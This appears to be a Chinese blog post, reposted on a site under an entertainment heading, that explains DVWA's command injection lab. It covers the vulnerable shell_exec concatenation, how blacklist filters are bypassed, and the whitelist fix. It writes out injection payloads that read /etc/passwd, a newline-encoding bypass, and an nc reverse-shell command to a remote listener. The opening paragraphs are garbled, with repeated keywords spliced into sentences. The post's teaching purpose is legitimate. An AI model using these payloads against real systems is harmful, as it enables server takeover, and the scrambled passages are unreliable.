当前位置: 当前位置:首页 > 娱乐 > dvwa中可以测试命令执行漏洞正文

dvwa中可以测试命令执行漏洞

作者:娱乐 来源:探索 浏览: 【大 中 小】 发布时间:2026-10-17 06:18:52 评论数:

DVWA的中可执行Command Injection模块,那个输入框就摆在那儿,测试旁边写着“Enter an IP address”。命令第一次用的漏洞人多半会愣一下——这玩意儿真能执行命令?答案是能,而且比你想的中可执行容易得多。

先看它的测试底层逻辑。PHP里有个函数叫shell_exec(),命令或者system()、漏洞exec()、中可执行passthru(),测试随便哪个都行。命令DVWA这个页面拿到的漏洞用户输入,直接拼进系统命令里,中可执行中间没有任何过滤。测试比如你输入127.0.0.1,命令后台跑的是ping -c 4 127.0.0.1。问题出在,它没检查你输入的东西里有没有分号、管道符、反引号这些东西。

所以你在输入框里敲127.0.0.1; whoami,实际执行的就是先ping一下本机,然后跑whoami。服务器当前运行PHP的用户名就吐出来了。我试的时候返回的是www-data,典型的Apache用户。再换成127.0.0.1 | cat /etc/passwd,整个用户列表直接刷屏。

这里有个细节值得说。DVWA默认安全等级是Low,源码里就是一行$cmd = shell_exec('ping -c 4 ' . $target);,干净利落,没有任何过滤。你甚至不需要分号,用&&、||、|都能达到目的。区别只在于命令之间的逻辑关系——&&是前一个成功才执行后一个,||是前一个失败才执行后一个,|是把前一个的输出当后一个的输入。

把安全等级调到Medium,情况变了。源码里多了一串黑名单替换,把&&和;给过滤掉了。但|还在,||也还在。你输入127.0.0.1 | whoami照样能跑。黑名单这种思路本身就靠不住,命令拼接的方式太多了,换行符、反引号、$(),漏掉一个就等于没防。

High级别更狠一些,黑名单加长了,|后面跟空格会被拦。但绕过方法依然存在。比如用127.0.0.1|whoami,不加空格,照样执行。或者用127.0.0.1%0awhoami,%0a是换行符的URL编码,服务端解码后就是一条新命令。DVWA的High模式只过滤了有限的几个符号,实际渗透中这种过滤强度基本等于没有。

真正有意思的是Impossible级别。它把输入拆成四段,每段都做is_numeric()检查,必须全是数字和点。这种白名单思路才是正解。你输入的东西如果不是合法IP格式,直接拒绝。命令拼接的入口被彻底堵死。

我拿DVWA这个模块做过几次演示。最直观的一次是输入127.0.0.1; nc -e /bin/sh 192.168.1.100 4444,在另一台机器上用nc监听,直接拿到一个反弹shell。整个过程不到十秒。旁边看的人第一反应都是“这么简单?”,第二反应是“我们线上的那些表单有没有类似的拼接”。

Command Injection的可怕之处在于,它不需要什么复杂的利用链。一个分号,一个管道符,服务器就归你了。DVWA把它放在那儿,不是为了让你刷个“Low通关”的成就感,而是让你亲手敲一遍,记住那个输入框背后可能连着整个操作系统的生杀大权。

下次再看到类似“请输入IP地址”的表单,你会下意识地多看一眼。这大概就是DVWA这个模块最大的价值。